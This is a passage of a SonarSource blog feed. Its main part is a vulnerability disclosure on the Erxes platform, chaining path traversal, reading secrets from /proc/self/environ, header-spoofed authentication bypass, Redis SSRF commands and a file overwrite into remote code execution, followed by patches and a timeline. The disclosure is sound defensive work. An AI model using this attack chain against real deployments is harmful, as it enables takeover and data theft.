may ultimately contribute to or directly cause security vulnerabilities, bugs, or performance issues. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By seamlessly integrating SonarQube and SonarCloud into the Continuous Integration (CI) pipeline, alongside SonarLint in developers&amp;#x27; IDEs, financial institutions can conduct static analysis and automated code reviews in real-time, enabling swift detection and correction of issues before code release, and prior to any issue compromising operational resilience.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d2d6d492-6e4c-4398-b819-1735e0aac755/DORA%20Blog%20image.png&quot; /&gt;&lt;h2&gt;DORA and Comprehensive Security Analysis&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar&amp;#x27;s advanced &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;Static Application Security Testing&lt;/a&gt; (SAST) capabilities empower organizations to uncover hidden vulnerabilities in application code, including those stemming from interactions with third-party open-source libraries. With over 5000 static analysis rules covering 30+ programming languages and frameworks, Sonar provides comprehensive code analysis, detecting a wide spectrum of security concerns such as SQL injection vulnerabilities, cross-site scripting (XSS) attacks, buffer overflows, exposed secrets,  authentication issues, and more. Additionally, Sonar&amp;#x27;s unique ability to trace data flow in and out of libraries enables the detection of deeply concealed security vulnerabilities that other tools may overlook. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In conclusion, compliance with the Digital Operational Resilience Act (DORA) is a pressing priority for financial entities seeking to ensure their digital resilience and mitigate cyber risks. By leveraging Sonar solutions, organizations can adopt a proactive &amp;quot;shift-left&amp;quot; approach to integrate security into the earliest stages of software development, the code development process, for source code originating in-house, or from third parties, aligning with DORA&amp;#x27;s requirements. With comprehensive and deep static analysis capabilities coupled with real-time feedback mechanisms, Sonar equips financial entities with the tools necessary to strengthen their digital operational resilience and contribute towards compliance with evolving regulatory frameworks. As the financial sector continues to navigate the digital landscape, Sonar stands ready to assist developers along with their security and compliance teams in the pursuit of secure, resilient, and compliant code, ensuring operational continuity.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Discover the Sonar solutions Self-managed &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; | Cloud &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; | IDE &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Micro Services, Major Headaches: Detecting Vulnerabilities in Erxes' Microservices]]></title><description><![CDATA[Our vulnerability researchers discovered critical vulnerabilities in Erxes with the help of SonarCloud. Learn about the details and how to triage such issues in your own code!]]></description><link>https://www.sonarsource.com/blog/micro-services-major-headaches-detecting-vulnerabilities-in-erxes-microservices</link><guid isPermaLink="false">3f727a98-d968-51dc-a596-3a002420c1d7</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Thu, 21 Mar 2024 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As a developer, it can be hard to triage a reported vulnerability. How relevant is the issue? What could an attacker do? Is this actually a valid finding? In this article, we&amp;#x27;ll show you how to answer these questions based on a real-world example.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To benchmark and improve our security engine, we regularly scan open-source software and triage the findings. One of these scanned projects is &lt;a href=&quot;https://erxes.io/&quot;&gt;Erxes&lt;/a&gt;, an open-source experience management solution. It&amp;#x27;s quite a complex piece of software with multiple microservices that can talk to each other.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After scanning the project&amp;#x27;s code on &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt;, we noticed two interesting vulnerabilities among the findings. If you want to follow along with this blog post, you can &lt;a href=&quot;https://sonarcloud.io/project/issues?impactSoftwareQualities=SECURITY&amp;resolved=false&amp;sonarsourceSecurity=path-traversal-injection&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_erxes-blogpost&quot;&gt;view the issues on SonarCloud here&lt;/a&gt;; no account required! Let&amp;#x27;s dive in:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/016dac94-a4c1-484e-8f44-d8b236e444f1/erxes-sonarcloud-findings.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can see that they are labeled as &lt;em&gt;intentionality&lt;/em&gt; issues that impact the &lt;em&gt;security&lt;/em&gt; of the software. This means that SonarCloud detected a code pattern that does more than the developer intended and that it can lead to security problems. Let&amp;#x27;s take a closer look at the second finding:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/897a11f0-232f-400c-ad2d-ba8f049fe545/erxes-sonarcloud-finding-1-sink-zoomed.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The annotation shows that this code constructs a filesystem path using user-controlled data. This is dangerous if the user input is not correctly sanitized or escaped because attackers could use the relative path traversal sequence &lt;code&gt;../&lt;/code&gt; to point the path to an arbitrary location on the file system.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, the path is used to read a file and return its contents. It is pretty clear that the code is not intended to allow users to read every file on the file system. The developers likely wanted to give users access to files in the upload folder only, so SonarCloud&amp;#x27;s finding is, in fact, a vulnerability!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But where does the user input come from? We can see the flow of user-controlled data next to the code:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/633595a7-74dd-4b81-9b26-2c9d65455a82/erxes-sonarcloud-finding-1-flow.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If we click on the first entry, marked with the source label, we get to see where the user-controlled data originates from:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/04d4654e-191b-4b1d-b22f-f88e6846d82f/erxes-sonarcloud-finding-1-source.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we can see, the request handler for the &lt;code&gt;/read-file&lt;/code&gt; endpoint takes several query parameters. One of them, named &lt;code&gt;key&lt;/code&gt;, is then passed into the &lt;code&gt;readFileRequest()&lt;/code&gt; function without prior validation. The missing validation allows attackers to send a request such as &lt;code&gt;GET /read-file?key=../../../../some/secret/file&lt;/code&gt; to leak secrets of the application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now that we have confirmed the vulnerability and know how attackers would exploit it, we have to determine the impact. The immediate impact is clear; attackers can read arbitrary files. But what does that mean in the context of the application? What information does the file system contain, and can leaking this information lead to a higher impact?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These questions led to a more thorough manual investigation from our vulnerability researchers. We discovered that attackers could take full control of an Erxes instance if it is set up using the official deployment guide.&lt;/p&gt;&lt;h2&gt;Technical details&lt;/h2&gt;&lt;p&gt;To understand the full impact, we first have to understand how Erxes works on a high level. Their docs provide &lt;a href=&quot;https://docs.erxes.io/intro&quot;&gt;a good starting point&lt;/a&gt;, including an architecture diagram. We simplified it to highlight the relevant parts:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/605a981b-f6ef-41c1-b638-b1d5d8ebad02/erxes-architecture.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we can see, Erxes consists of a central gateway and several microservices. There are also databases such as Redis that every service and the gateway can talk to, and services can speak to each other. Each part (gateway, services, databases) runs inside its own Docker container in production deployment.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can now better gauge the overall impact of the vulnerability discovered by SonarCloud. Since the issue is inside the core service and most interesting data is stored in other containers, there&amp;#x27;s not much an attacker could leak.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, one promising file for attackers is &lt;code&gt;/proc/self/environ&lt;/code&gt;. This special &lt;a href=&quot;https://man7.org/linux/man-pages/man5/proc.5.html&quot;&gt;procfs&lt;/a&gt; file contains all environment variables of the current process. More and more applications, especially those built for the cloud, are configurable using environment variables. In the case of Erxes, an attacker can find authentication secrets such as database credentials in there.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is definitely a bad thing and needs to be fixed, but it does not allow attackers to increase the impact yet because they can&amp;#x27;t communicate with the databases from the outside. They first have to get access to one of the services, and for that, they need to get through the gateway. Can they do it?&lt;/p&gt;&lt;h3&gt;You can be whoever you want to be&lt;/h3&gt;&lt;p&gt;The gateway not only dispatches requests to their respective services but also handles user authentication. It does so by reading a JSON Web Token (JWT) from the &lt;code&gt;auth-token&lt;/code&gt; cookie or the &lt;code&gt;erxes-app-token&lt;/code&gt; HTTP header, verifying its signature, and finally checking if that token exists in the Redis database:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export default async function userMiddleware(/* ... */) {
  // ...
  const token = req.cookies[&apos;auth-token&apos;];
  // ...
  try {
    // verify user token and retrieve stored user information
    const { user } = jwt.verify(token, process.env.JWT_TOKEN_SECRET || &apos;&apos;);
    const userDoc = await models.Users.findOne({ _id: user._id });
    if (!userDoc) {
      return next();
    }
    const validatedToken = await redis.get(`user_token_${user._id}_${token}`);
    // invalid token access.
    if (!validatedToken) {
      return next();
    }
    // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The authenticated user is stored as &lt;code&gt;req.user&lt;/code&gt; upon successfully validating the token. When forwarding the request to a service, the user object is taken from &lt;code&gt;req.user&lt;/code&gt;, serialized to a Base64-encoded JSON string, and set as the &lt;code&gt;user&lt;/code&gt; HTTP header on the request being forwarded:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;export default async function userMiddleware(/* ... */) {
  // ...
  try {
    // ...
    // invalid token access.
    if (!validatedToken) {
      return next();
    }
    req.user = user;
    // ...
  }
  // ...
  generateBase64(req);
  return next();
}

const generateBase64 = req =&gt; {
  if (req.user) {
    const userJson = JSON.stringify(req.user);
    const userJsonBase64 = Buffer.from(userJson, &apos;utf8&apos;).toString(&apos;base64&apos;);
    req.headers.user = userJsonBase64;
  }
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a service receives a request, it will trust the value stored in the &lt;code&gt;user&lt;/code&gt; header and use it for further permission checks. The following code is present in all services and the service template:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (req.headers.user) 
  if (Array.isArray(req.headers.user)) {
    throw new Error(`Multiple user headers`);
  }
  const userJson = Buffer.from(req.headers.user, &apos;base64&apos;).toString(&apos;utf-8&apos;);
  user = JSON.parse(userJson);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The gateway only sets the header after successful authentication, so what is wrong here?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When an incoming request is not authenticated, it will neither have an &lt;code&gt;erxes-app-token&lt;/code&gt; header nor an &lt;code&gt;auth-token&lt;/code&gt; cookie. In this case, the gateway does not set the &lt;code&gt;user&lt;/code&gt; header, but since it forwards the whole incoming request to the respective service, it will also forward an existing &lt;code&gt;user&lt;/code&gt; header! This allows attackers to set the header to any user they want to impersonate, including admins.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability has a critical impact because it allows any user to become an admin on an Erxes instance just by sending a special header! An attacker could access all data stored in the application and even create their own admin account for persistent access.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But could an attacker go even further and execute arbitrary code on the underlying system? This would be much harder to detect later, and cleaning a compromised system would be much harder than just removing suspicious admin users.&lt;/p&gt;&lt;h3&gt;The weakest link&lt;/h3&gt;&lt;p&gt;One particular file is mounted into every Erxes service: &lt;code&gt;/data/enabled-services.js&lt;/code&gt;. It exports a list of enabled services:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;module.exports = [
    &apos;workers&apos;,&apos;logs&apos;,&apos;notifications&apos;,&apos;products&apos;,&apos;forms&apos;,&apos;tags&apos;
]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Every service executes this file during startup when they use &lt;code&gt;require()&lt;/code&gt; to load the enabled services:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function refreshEnabledServices() {
  // ...
  enabledServicesCache = require(ENABLED_SERVICES_PATH) || [];
  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This makes the file a juicy target for attackers. If they can overwrite it, they can cause a service to execute malicious code! Since the file is mounted from the host system into the service containers, it is not clear if the services have the right filesystem permissions to write to the file. However, we noticed that when setting up Erxes using the official Docker deployment guide, this file is writable by each service because both the user used on the host system and the user that a service is running under have the same UID (1000).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But how can an attacker write to that file?&lt;/p&gt;&lt;h3&gt;Yet another path traversal&lt;/h3&gt;&lt;p&gt;While investigating the &lt;code&gt;workers&lt;/code&gt; service, we noticed a code pattern that was very similar to that of the first vulnerability:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const importBulkStream = ({ fileName, /* ... */ }) =&gt; {
  // ...
  if (uploadType === &apos;AWS&apos;) {
      const { AWS_BUCKET } = await getFileUploadConfigs();
      const s3 = await createAWS();
      const params = { Bucket: AWS_BUCKET, Key: fileName };
      const file = (await s3.getObject(params).promise()) as any;
      await fs.promises.writeFile(
        `${uploadsFolderPath}/${fileName}`,
        file.Body
      );
      // ...
  }
  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the implementation of the &lt;code&gt;​​importHistoriesCreate&lt;/code&gt; GraphQL mutation. It takes, among other things, a file name as input and then imports that file based on the currently configured upload type. If configured accordingly, Erxes uses S3 to store and retrieve files.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When calling the &lt;code&gt;​​importHistoriesCreate&lt;/code&gt; GraphQL mutation while &amp;#x27;AWS&amp;#x27; is configured, the &lt;code&gt;workers&lt;/code&gt; service will first download the file to import from S3 to the local file system before processing it.&lt;em&gt; &lt;/em&gt;As with the first vulnerability, the path is unsafely created using user-controlled data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To exploit this vulnerability, an attacker would need to control the downloaded file&amp;#x27;s content. They could do this by uploading a malicious payload to the S3 service. Alternatively, they could change the configuration to point to an S3 server under their control.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, calling the &lt;code&gt;importHistoriesCreate&lt;/code&gt; GraphQL mutation with a path traversal payload causes the malicious file to be downloaded from S3 to the attacker-specified location.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As discussed earlier, the most promising target file for an attacker is &lt;code&gt;/data/enabled-services.js&lt;/code&gt;.  However, there&amp;#x27;s one final element of uncertainty: after overwriting the file, the attacker must wait for a service to restart for the compromised file to be executed. To circumvent this, attackers can use a final trick to ensure immediate execution, forcing the compromised file to be loaded without waiting for a service restart.&lt;/p&gt;&lt;h3&gt;Triggering a file reload&lt;/h3&gt;&lt;p&gt;Each service uses Redis Pub/Sub to listen for messages in several channels. If a message arrives in the &lt;code&gt;refresh_enabled_services&lt;/code&gt; channel, the service immediately reloads the enabled services file:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const REDIS_CHANNEL_REFRESH_ENABLED_SERVICES = &apos;refresh_enabled_services&apos;;

(async () =&gt; {
  // ...
  const redisSubscriber = new Redis({
    host: REDIS_HOST,
    port: parseInt(REDIS_PORT || &apos;6379&apos;, 10),
    password: REDIS_PASSWORD
  });
  await redisSubscriber.subscribe(REDIS_CHANNEL_REFRESH_ENABLED_SERVICES);
  await redisSubscriber.on(&apos;message&apos;, refreshEnabledServices);
})();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, to trigger the execution of the overwritten file, the attacker needs to publish a message to that specific channel.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As noted earlier, attackers cannot directly communicate with Redis. And even if they could, Redis would still require password authentication. The attacker can pass the authentication by using the initial file read vulnerability to extract the Redis password from the configuration file, but how can the attacker communicate directly with the database?&lt;/p&gt;&lt;h3&gt;Uploading commands to Redis&lt;/h3&gt;&lt;p&gt;The attacker can misuse the previously mentioned S3 file storage functionality to establish communication with Redis. By setting the Erxes S3 configuration to point to the Redis host and port, the attacker can forge server-side requests (SSRF). With such a configuration in place, triggering an upload will send an HTTP request directly to Redis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Redis does not speak HTTP, but its protocol (RESP) is also text-based. Redis will read the incoming HTTP request line-by-line, ignore lines that don&amp;#x27;t start with a valid Redis command, and execute lines that are valid commands.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is important to note that Redis added protection against cross-protocol attacks and now closes the connection when it sees HTTP-related lines, such as a host header. However, because Redis runs in authenticated mode, protection was not enabled in the version used. Since version 7, Redis has also enabled protection in authenticated mode.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When triggering an Erxes file upload with the SSRF configuration in place, the file&amp;#x27;s content is sent as the HTTP request body. Therefore, an attacker can place arbitrary Redis commands in a file that will then be executed by the database when the file is uploaded.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To trigger the execution of the overwritten &lt;code&gt;enabled-services.js&lt;/code&gt; file, the attacker crafts and uploads a file containing the following Redis commands:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;AUTH &amp;lt;password&amp;gt;&lt;/code&gt; to authenticate the connection. The password is obtained earlier using the file read vulnerability.&lt;/li&gt;&lt;li&gt;&lt;code&gt;PUBLISH refresh_enabled_services foo&lt;/code&gt; to trigger the reload.&lt;/li&gt;&lt;li&gt;&lt;code&gt;QUIT&lt;/code&gt; to close the connection.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This sequence triggers a message to the designated Pub/Sub channel.  Since all services subscribe to this channel, they receive the message, prompting a reload of the previously compromised &lt;code&gt;enabled-services.js&lt;/code&gt; file.&lt;/p&gt;&lt;h3&gt;Putting it all together&lt;/h3&gt;&lt;p&gt;We started with a simple file read vulnerability and ended with a remote code execution impact. To summarize, an attacker would have to take the following steps, also visualized in the graphic below:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Leak the Redis password from &lt;code&gt;/proc/self/environ&lt;/code&gt; using the file read vulnerability.&lt;/li&gt;&lt;li&gt;Use the authentication bypass vulnerability to configure S3 file storage with an attacker-controlled host.&lt;/li&gt;&lt;li&gt;Overwrite &lt;code&gt;/data/enabled-services.js&lt;/code&gt; with a malicious payload using the file write vulnerability.&lt;/li&gt;&lt;li&gt;Configure the S3 file storage to point to the Redis host and port using the authentication bypass vulnerability.&lt;/li&gt;&lt;li&gt;Trigger the Redis SSRF by uploading a crafted file containing Redis commands, causing execution of the previously written payload.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c1a2dd8a-5087-4332-8b1c-04242451329c/erxes-chain.png&quot; /&gt;&lt;h2&gt;Patches&lt;/h2&gt;&lt;p&gt;To prevent the Authentication Bypass, Erxes now deletes the &lt;code&gt;user&lt;/code&gt; header from all incoming HTTP requests, which is a valid fix. If you use a similar mechanism to pass important data between microservices, we recommend hardening your application by using an HMAC to sign that data. This would prevent authentication bypasses even in the presence of Server-Side Request Forgery (SSRF) vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Erxes tackled the Path Traversal vulnerabilities by removing unwanted characters from user-controlled filenames. In this case, this correctly prevents the issue, but such a block-list approach comes with the risk of missing certain characters. A safer approach would be to use the user-controlled data to build the final path for the file operation, normalize the path, and then test if it is inside the allowed directory.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are using Erxes, make sure to update your instance to the latest version (1.6.3) to benefit from the security patches. &lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-06&lt;/td&gt;&lt;td&gt;We report all issues to Erxes, including our 90-day disclosure deadline&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-27&lt;/td&gt;&lt;td&gt;We ping Erxes about an update&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-28&lt;/td&gt;&lt;td&gt;Erxes confirms the issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-01-26&lt;/td&gt;&lt;td&gt;We remind Erxes that the disclosure deadline has elapsed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-02-22&lt;/td&gt;&lt;td&gt;Erxes releases version 1.6.1, fixing the Authentication Bypass vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-03-04&lt;/td&gt;&lt;td&gt;We inform Erxes about the upcoming blog post&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-03-04&lt;/td&gt;&lt;td&gt;Erxes informs us that the reported issues have been addressed&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-03-04&lt;/td&gt;&lt;td&gt;We ask Erxes which versions contain the fixes&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-03-06&lt;/td&gt;&lt;td&gt;Erxes releases version 1.6.2, fixing the Path Traversal vulnerabilities&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-03-20&lt;/td&gt;&lt;td&gt;Erxes releases version 1.6.3, fixing the last vulnerability reported by us&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-03-21&lt;/td&gt;&lt;td&gt;This blog post is released&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we saw firsthand how SonarCloud empowers developers to catch real-world vulnerabilities. Integrating SonarCloud into your CI/CD workflow creates a safety net, preventing these issues from ever reaching production environments and keeping your code clean.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also learned about the pitfalls of microservices architectures, especially around authentication between services. If you&amp;#x27;re using the pattern yourself, make sure to secure communication between services to avoid microservice security vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the Erxes team for addressing the vulnerabilities we reported.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/&quot;&gt;Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/security-vulnerabilities-in-casaos/&quot;&gt;Security Vulnerabilities in CasaOS&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/teamcity-vulnerability/&quot;&gt;Source Code at Risk: Critical Code Vulnerability in CI/CD Platform TeamCity&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[__dirname is back in Node.js with ES modules]]></title><description><![CDATA[Node.js is reducing friction when using ES modules by making it easier to get the current module directory name]]></description><link>https://www.sonarsource.com/blog/dirname-node-js-es-modules</link><guid isPermaLink="false">b4e548fc-10f0-50cf-9a16-c32e92ba0a7f</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Thu, 21 Mar 2024 07:00:17 GMT</pubDate><content:encoded>&lt;p&gt;ECMAScript modules (or ES modules) are the new standard format to package JavaScript code for reuse. There is a huge and ongoing shift in the Node.js world to move from CommonJS to ES modules, but there has been friction along the way.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of those bits of friction was recently removed: getting access to the current module&amp;#x27;s directory is now easy again!&lt;/p&gt;&lt;h2&gt;TL;DR&lt;/h2&gt;&lt;p&gt;In an ES module, instead of using &lt;code&gt;__dirname&lt;/code&gt; or &lt;code&gt;__filename&lt;/code&gt;, you can now use:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import.meta.dirname  // The current module&apos;s directory name (__dirname)
import.meta.filename // The current module&apos;s file name (__filename)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you&amp;#x27;re interested, there is more to this story, so read on.&lt;/p&gt;&lt;h2&gt;Getting the current directory&lt;/h2&gt;&lt;p&gt;With access to the directory path of the current module, you can traverse the file system relative to where your code is located and read or write files within your project or dynamically import code. The way to access this information has changed over the years, from CommonJS&amp;#x27;s implementation to the latest update to ES modules. Let&amp;#x27;s take a look at how it has evolved.&lt;/p&gt;&lt;h3&gt;The old CommonJS way&lt;/h3&gt;&lt;p&gt;Node.js initially used the CommonJS module system. CommonJS provided two variables that returned the current module&amp;#x27;s directory name and file name. Those variables were &lt;code&gt;__dirname&lt;/code&gt; and &lt;code&gt;__filename&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;__dirname  // The current module&apos;s directory name
__filename // The current module&apos;s file name&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;The old ES module way&lt;/h3&gt;&lt;p&gt;&lt;code&gt;__dirname&lt;/code&gt; and &lt;code&gt;__filename&lt;/code&gt; are unavailable in an ES module. Instead, you used to need the following code to reproduce them:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import * as url from &apos;url&apos;;

const __dirname = url.fileURLToPath(new URL(&apos;.&apos;, import.meta.url));
const __filename = url.fileURLToPath(import.meta.url);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I could never remember this boilerplate code and always found myself reaching for &lt;a href=&quot;https://blog.logrocket.com/alternatives-dirname-node-js-es-modules&quot;&gt;Sam Thorogood&amp;#x27;s explanation of how to get &lt;code&gt;__dirname&lt;/code&gt; back&lt;/a&gt;. There had to be an easier way.&lt;/p&gt;&lt;h3&gt;The new ES module way&lt;/h3&gt;&lt;p&gt;Finally, after much discussion, there is now a better way. Since &lt;a href=&quot;https://nodejs.org/en/blog/release/v20.11.0&quot;&gt;Node.js version 20.11.0&lt;/a&gt;, &lt;a href=&quot;https://deno.com/blog/v1.40#importmetafilename-and-importmetadirname&quot;&gt;Deno version 1.40.0&lt;/a&gt; and &lt;a href=&quot;https://bun.sh/blog/bun-v1.0.23#import-meta-dirname-and-import-meta-filename-support&quot;&gt;Bun version 1.0.23&lt;/a&gt;, you can call on the &lt;code&gt;dirname&lt;/code&gt; and &lt;code&gt;filename&lt;/code&gt; properties of the &lt;a href=&quot;https://nodejs.org/docs/latest/api/esm.html#importmeta&quot;&gt;&lt;code&gt;import.meta&lt;/code&gt; object&lt;/a&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import.meta.dirname  // The current module&apos;s directory name
